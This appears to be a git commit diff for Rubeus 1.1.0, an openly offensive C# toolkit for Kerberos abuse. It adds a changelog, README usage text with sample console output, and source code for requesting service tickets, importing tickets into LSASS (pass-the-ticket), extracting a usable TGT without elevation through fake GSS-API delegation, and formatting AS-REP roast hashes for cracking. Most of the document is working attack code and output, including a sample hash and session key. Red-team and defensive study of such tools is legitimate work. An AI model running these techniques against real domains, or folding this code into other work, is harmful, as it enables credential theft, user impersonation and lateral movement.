Rubeus 1.1.0
[new] "asktgs" action -takes /ptt:X, /dc:X, /ticket:X flags like asktgt - /service:X takes one or more SPN specifications [new] "tgtdeleg" action -reimplements @gentilkiwi's Kekeo tgt::deleg action -uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum -combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation [added] "s4u" action -Added option for multiple alternate snames (/altservice:X,Y,...) -This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names into the final resulting service ticket structure(s) for as many snames as specified [fix] "dump" action -Corrected extraction of complete ServiceName/TargetName strings [fix] "asreproast" action -fixed salt demarcation line for "asreproast" hashes -added eventual hashcat output format, use "/format:<john/hashcat>", default of "john" [fix] "kerberoast" action -Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method() -Corrected encType extraction for the hash outputmaster
parent
4c94eb8f3a
commit
4c91457523
|
@ -0,0 +1,31 @@
|
|||
# Changelog
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [1.1.0] - 2018-09-31
|
||||
### Added
|
||||
* **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications
|
||||
* **tgtdeleg** action - reimplements @gentilkiwi's Kekeo tgt::deleg function
|
||||
* uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum. Combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation.
|
||||
* Added CHANGELOG.md
|
||||
|
||||
### Changed
|
||||
* **s4u** action now accepts multiple alternate snames (/altservice:X,Y,...)
|
||||
* This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names
|
||||
into the final resulting service ticket structure(s) for as many snames as specified
|
||||
* **asreproast** action
|
||||
* added eventual hashcat output format, use "/format:<john/hashcat>" (default of "john")
|
||||
|
||||
### Fixed
|
||||
* **dump** action now correctly extracts ServiceName/TargetName strings
|
||||
* **asreproast** action - fixed salt demarcation line for "asreproast" hashes
|
||||
* **kerberoast** action
|
||||
* Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method()
|
||||
* Corrected encType extraction for the hash output
|
||||
|
||||
|
||||
## [1.0.0] - 2018-08-24
|
||||
|
||||
* Initial release
|
141
README.md
141
README.md
|
@ -2,10 +2,12 @@
|
|||
|
||||
----
|
||||
|
||||
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
|
||||
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
|
||||
|
||||
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
|
||||
|
||||
The [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method for Kerberoasting was contributed to PowerView by [@machosec](https://twitter.com/machosec).
|
||||
|
||||
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
|
||||
|
||||
Rubeus is licensed under the BSD 3-Clause license.
|
||||
|
@ -24,6 +26,9 @@ Rubeus is licensed under the BSD 3-Clause license.
|
|||
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
|
||||
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
|
||||
|
||||
Retrieve a service ticket for one or more SPNs, optionally applying the ticket:
|
||||
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]
|
||||
|
||||
Perform S4U constrained delegation abuse:
|
||||
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
|
||||
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt]
|
||||
|
@ -52,6 +57,9 @@ Rubeus is licensed under the BSD 3-Clause license.
|
|||
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
|
||||
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
|
||||
|
||||
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
|
||||
Rubeus.exe tgtdeleg [/target:SPN]
|
||||
|
||||
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
|
||||
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
|
||||
|
||||
|
@ -210,6 +218,104 @@ C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew
|
|||
[*] Sleeping for 269 minutes (endTime-30) before the next renewal
|
||||
|
||||
|
||||
## asktgs
|
||||
|
||||
The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated.
|
||||
|
||||
C:\Temp\tickets>Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe
|
||||
|
||||
______ _
|
||||
(_____ \ | |
|
||||
_____) )_ _| |__ _____ _ _ ___
|
||||
| __ /| | | | _ \| ___ | | | |/___)
|
||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||
|_| |_|____/|____/|_____)____/(___/
|
||||
|
||||
v1.0.0
|
||||
|
||||
[*] Action: Ask TGT
|
||||
|
||||
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
|
||||
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
|
||||
[*] Connecting to 192.168.52.100:88
|
||||
[*] Sent 232 bytes
|
||||
[*] Received 1405 bytes
|
||||
[+] TGT request successful!
|
||||
[*] base64(ticket.kirbi):
|
||||
|
||||
doIFFjCCBRKgAwIBBa...(snip)...
|
||||
|
||||
C:\Temp\tickets>Rubeus.exe asktgs /ticket:doIFFjCCBRKgAwIBBa...(snip...)== /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
|
||||
|
||||
______ _
|
||||
(_____ \ | |
|
||||
_____) )_ _| |__ _____ _ _ ___
|
||||
| __ /| | | | _ \| ___ | | | |/___)
|
||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||
|_| |_|____/|____/|_____)____/(___/
|
||||
|
||||
v1.0.0
|
||||
|
||||
[*] Action: Ask TGS
|
||||
|
||||
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
|
||||
[*] Connecting to 192.168.52.100:88
|
||||
[*] Sent 1384 bytes
|
||||
[*] Received 1430 bytes
|
||||
[+] TGS request successful!
|
||||
[*] base64(ticket.kirbi):
|
||||
|
||||
doIFSjCCBUagAwIBBaEDA...(snip)...
|
||||
|
||||
[*] Action: Import Ticket
|
||||
[+] Ticket successfully imported!
|
||||
|
||||
[*] Action: Ask TGS
|
||||
|
||||
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
|
||||
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
|
||||
[*] Connecting to 192.168.52.100:88
|
||||
[*] Sent 1384 bytes
|
||||
[*] Received 1430 bytes
|
||||
[+] TGS request successful!
|
||||
[*] base64(ticket.kirbi):
|
||||
|
||||
doIFSjCCBUagAwIBBaEDAgE...(snip)...
|
||||
|
||||
[*] Action: Import Ticket
|
||||
[+] Ticket successfully imported!
|
||||
|
||||
|
||||
C:\Temp\tickets>C:\Windows\System32\klist.exe tickets
|
||||
|
||||
Current LogonId is 0:0x570ba
|
||||
|
||||
Cached Tickets: (2)
|
||||
|
||||
#0> Client: harmj0y @ TESTLAB.LOCAL
|
||||
Server: cifs/primary.testlab.local @ TESTLAB.LOCAL
|
||||
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
|
||||
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
|
||||
Start Time: 9/30/2018 18:17:55 (local)
|
||||
End Time: 9/30/2018 23:17:01 (local)
|
||||
Renew Time: 10/7/2018 18:17:01 (local)
|
||||
Session Key Type: AES-128-CTS-HMAC-SHA1-96
|
||||
Cache Flags: 0
|
||||
Kdc Called:
|
||||
|
||||
#1> Client: harmj0y @ TESTLAB.LOCAL
|
||||
Server: LDAP/primary.testlab.local @ TESTLAB.LOCAL
|
||||
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
|
||||
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
|
||||
Start Time: 9/30/2018 18:17:55 (local)
|
||||
End Time: 9/30/2018 23:17:01 (local)
|
||||
Renew Time: 10/7/2018 18:17:01 (local)
|
||||
Session Key Type: AES-128-CTS-HMAC-SHA1-96
|
||||
Cache Flags: 0
|
||||
Kdc Called:
|
||||
|
||||
## s4u
|
||||
|
||||
The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
|
||||
|
@ -581,7 +687,38 @@ The **dump** action will extract current TGTs and service tickets from memory, i
|
|||
[*] Enumerated 4 total tickets
|
||||
[*] Extracted 1 total tickets
|
||||
|
||||
**Note that this action needs to be run from an elevated context!**
|
||||
**Note that this action needs to be run from an elevated context to extract usable TGTs!**
|
||||
|
||||
|
||||
## tgtdeleg
|
||||
|
||||
The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.
|
||||
|
||||
C:\Rubeus>Rubeus.exe tgtdeleg
|
||||
|
||||
______ _
|
||||
(_____ \ | |
|
||||
_____) )_ _| |__ _____ _ _ ___
|
||||
| __ /| | | | _ \| ___ | | | |/___)
|
||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||
|_| |_|____/|____/|_____)____/(___/
|
||||
|
||||
v1.1.0
|
||||
|
||||
|
||||
[*] Action: Request Fake Delegation TGT (current user)
|
||||
|
||||
[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'
|
||||
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local'
|
||||
[+] Kerberos GSS-API initialization success!
|
||||
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
|
||||
[*] Found the AP-REQ delegation ticket in the GSS-API output.
|
||||
[*] Authenticator etype: aes256_cts_hmac_sha1
|
||||
[*] Extracted the service ticket session key from the ticket cache: PrrVTn8MgR52epjaG5YnvZMAeCn1TnJn8QfuMh9lvw8=
|
||||
[+] Successfully decrypted the authenticator
|
||||
[*] base64(ticket.kirbi):
|
||||
|
||||
doIFNjCCBTKgAwIBBaE...(snip)...
|
||||
|
||||
|
||||
## monitor
|
||||
|
|
|
@ -18,7 +18,7 @@ namespace Rubeus
|
|||
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
|
||||
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
|
||||
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
|
||||
System.Console.WriteLine(" v1.0.0\r\n");
|
||||
System.Console.WriteLine(" v1.1.0\r\n");
|
||||
}
|
||||
|
||||
public static void Usage()
|
||||
|
@ -28,8 +28,10 @@ namespace Rubeus
|
|||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
|
||||
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
@ -49,6 +51,8 @@ namespace Rubeus
|
|||
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
|
||||
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
|
||||
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
|
||||
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
|
||||
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||
|
@ -180,6 +184,63 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("asktgs"))
|
||||
{
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
string service = "";
|
||||
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
service = arguments["/service"];
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("renew"))
|
||||
{
|
||||
bool ptt = false;
|
||||
|
@ -481,6 +542,7 @@ namespace Rubeus
|
|||
string user = "";
|
||||
string domain = "";
|
||||
string dc = "";
|
||||
string format = "john";
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
|
@ -494,6 +556,11 @@ namespace Rubeus
|
|||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/format"))
|
||||
{
|
||||
format = arguments["/format"];
|
||||
}
|
||||
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
|
@ -507,11 +574,11 @@ namespace Rubeus
|
|||
|
||||
if (String.IsNullOrEmpty(dc))
|
||||
{
|
||||
Roast.ASRepRoast(user, domain);
|
||||
Roast.ASRepRoast(user, domain, "", format);
|
||||
}
|
||||
else
|
||||
{
|
||||
Roast.ASRepRoast(user, domain, dc);
|
||||
Roast.ASRepRoast(user, domain, dc, format);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -553,6 +620,18 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("tgtdeleg"))
|
||||
{
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
LSA.RequestFakeDelegTicket(arguments["/target"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.RequestFakeDelegTicket();
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("monitor"))
|
||||
{
|
||||
string targetUser = "";
|
||||
|
|
|
@ -161,5 +161,165 @@ namespace Rubeus
|
|||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static void TGS(KRB_CRED kirbi, string service, bool ptt = false, string domainController = "", bool display = true)
|
||||
{
|
||||
// extract out the info needed for the TGS-REQ request
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string[] services = service.Split(',');
|
||||
foreach (string sname in services) {
|
||||
// request the new service tickt
|
||||
TGS(userName, domain, ticket, clientKey, etype, sname, ptt, domainController, display);
|
||||
Console.WriteLine();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string service, bool ptt, string domainController = "", bool display = true)
|
||||
{
|
||||
if (display)
|
||||
{
|
||||
Console.WriteLine("[*] Action: Ask TGS\r\n");
|
||||
}
|
||||
|
||||
// grab the default DC if none was supplied
|
||||
if (String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
domainController = Networking.GetDCName();
|
||||
if (String.IsNullOrEmpty(domainController))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
System.Net.IPAddress[] dcIP;
|
||||
try
|
||||
{
|
||||
dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
|
||||
return null;
|
||||
}
|
||||
if (display)
|
||||
{
|
||||
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
|
||||
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
|
||||
}
|
||||
|
||||
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, etype, false);
|
||||
|
||||
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
|
||||
if (response == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] TGS request successful!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
|
||||
// now build the final KRB-CRED structure
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
// add the ticket
|
||||
cred.tickets.Add(rep.ticket);
|
||||
|
||||
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||
|
||||
KrbCredInfo info = new KrbCredInfo();
|
||||
|
||||
// [0] add in the session key
|
||||
info.key.keytype = encRepPart.key.keytype;
|
||||
info.key.keyvalue = encRepPart.key.keyvalue;
|
||||
|
||||
// [1] prealm (domain)
|
||||
info.prealm = encRepPart.realm;
|
||||
|
||||
// [2] pname (user)
|
||||
info.pname.name_type = rep.cname.name_type;
|
||||
info.pname.name_string = rep.cname.name_string;
|
||||
|
||||
// [3] flags
|
||||
info.flags = encRepPart.flags;
|
||||
|
||||
// [4] authtime (not required)
|
||||
|
||||
// [5] starttime
|
||||
info.starttime = encRepPart.starttime;
|
||||
|
||||
// [6] endtime
|
||||
info.endtime = encRepPart.endtime;
|
||||
|
||||
// [7] renew-till
|
||||
info.renew_till = encRepPart.renew_till;
|
||||
|
||||
// [8] srealm
|
||||
info.srealm = encRepPart.realm;
|
||||
|
||||
// [9] sname
|
||||
info.sname.name_type = encRepPart.sname.name_type;
|
||||
info.sname.name_string = encRepPart.sname.name_string;
|
||||
|
||||
// add the ticket_info into the cred object
|
||||
cred.enc_part.ticket_info.Add(info);
|
||||
|
||||
byte[] kirbiBytes = cred.Encode().Encode();
|
||||
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
if (display)
|
||||
{
|
||||
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
if (ptt)
|
||||
{
|
||||
// pass-the-ticket -> import into LSASS
|
||||
LSA.ImportTicket(kirbiBytes);
|
||||
}
|
||||
return kirbiBytes;
|
||||
}
|
||||
else
|
||||
{
|
||||
return kirbiBytes;
|
||||
}
|
||||
}
|
||||
else if (responseTag == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -122,5 +122,26 @@ namespace Rubeus
|
|||
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
|
||||
.ToArray();
|
||||
}
|
||||
|
||||
static public int SearchBytePattern(byte[] pattern, byte[] bytes)
|
||||
{
|
||||
List<int> positions = new List<int>();
|
||||
int patternLength = pattern.Length;
|
||||
int totalLength = bytes.Length;
|
||||
byte firstMatchByte = pattern[0];
|
||||
for (int i = 0; i < totalLength; i++)
|
||||
{
|
||||
if (firstMatchByte == bytes[i] && totalLength - i >= patternLength)
|
||||
{
|
||||
byte[] match = new byte[patternLength];
|
||||
Array.Copy(bytes, i, match, 0, patternLength);
|
||||
if (match.SequenceEqual<byte>(pattern))
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -455,6 +455,37 @@ namespace Rubeus
|
|||
LOGON32_PROVIDER_WINNT50
|
||||
}
|
||||
|
||||
// from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129
|
||||
[Flags]
|
||||
public enum ISC_REQ : int
|
||||
{
|
||||
DELEGATE = 1,
|
||||
MUTUAL_AUTH = 2,
|
||||
REPLAY_DETECT = 4,
|
||||
SEQUENCE_DETECT = 8,
|
||||
CONFIDENTIALITY = 16,
|
||||
USE_SESSION_KEY = 32,
|
||||
PROMPT_FOR_CREDS = 64,
|
||||
USE_SUPPLIED_CREDS = 128,
|
||||
ALLOCATE_MEMORY = 256,
|
||||
USE_DCE_STYLE = 512,
|
||||
DATAGRAM = 1024,
|
||||
CONNECTION = 2048,
|
||||
EXTENDED_ERROR = 16384,
|
||||
STREAM = 32768,
|
||||
INTEGRITY = 65536,
|
||||
MANUAL_CRED_VALIDATION = 524288,
|
||||
HTTP = 268435456
|
||||
}
|
||||
|
||||
public enum SecBufferType
|
||||
{
|
||||
SECBUFFER_VERSION = 0,
|
||||
SECBUFFER_EMPTY = 0,
|
||||
SECBUFFER_DATA = 1,
|
||||
SECBUFFER_TOKEN = 2
|
||||
}
|
||||
|
||||
|
||||
// structs
|
||||
|
||||
|
@ -547,16 +578,28 @@ namespace Rubeus
|
|||
public int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_HANDLE
|
||||
{
|
||||
public IntPtr LowPart;
|
||||
public IntPtr HighPart;
|
||||
public SECURITY_HANDLE(int dummy)
|
||||
{
|
||||
LowPart = HighPart = IntPtr.Zero;
|
||||
}
|
||||
};
|
||||
//[StructLayout(LayoutKind.Sequential)]
|
||||
//public struct SECURITY_HANDLE
|
||||
//{
|
||||
// public IntPtr LowPart;
|
||||
// public IntPtr HighPart;
|
||||
// public SECURITY_HANDLE(int dummy)
|
||||
// {
|
||||
// LowPart = HighPart = IntPtr.Zero;
|
||||
// }
|
||||
//};
|
||||
|
||||
//[StructLayout(LayoutKind.Sequential)]
|
||||
//public struct SECURITY_INTEGER
|
||||
//{
|
||||
// public uint LowPart;
|
||||
// public int HighPart;
|
||||
// public SECURITY_INTEGER(int dummy)
|
||||
// {
|
||||
// LowPart = 0;
|
||||
// HighPart = 0;
|
||||
// }
|
||||
//};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LSA_STRING_IN
|
||||
|
@ -688,7 +731,11 @@ namespace Rubeus
|
|||
{
|
||||
public Int16 NameType;
|
||||
public UInt16 NameCount;
|
||||
public LSA_STRING_OUT Names;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray,
|
||||
SizeConst = 2)]
|
||||
public LSA_STRING_OUT[] Names;
|
||||
//public LSA_STRING_OUT[] Names;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
|
@ -763,6 +810,248 @@ namespace Rubeus
|
|||
public LUID ModifiedId;
|
||||
}
|
||||
|
||||
// the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecHandle //=PCtxtHandle
|
||||
{
|
||||
IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint
|
||||
IntPtr dwUpper; // this is crucial for 64-Bit Platforms
|
||||
}
|
||||
|
||||
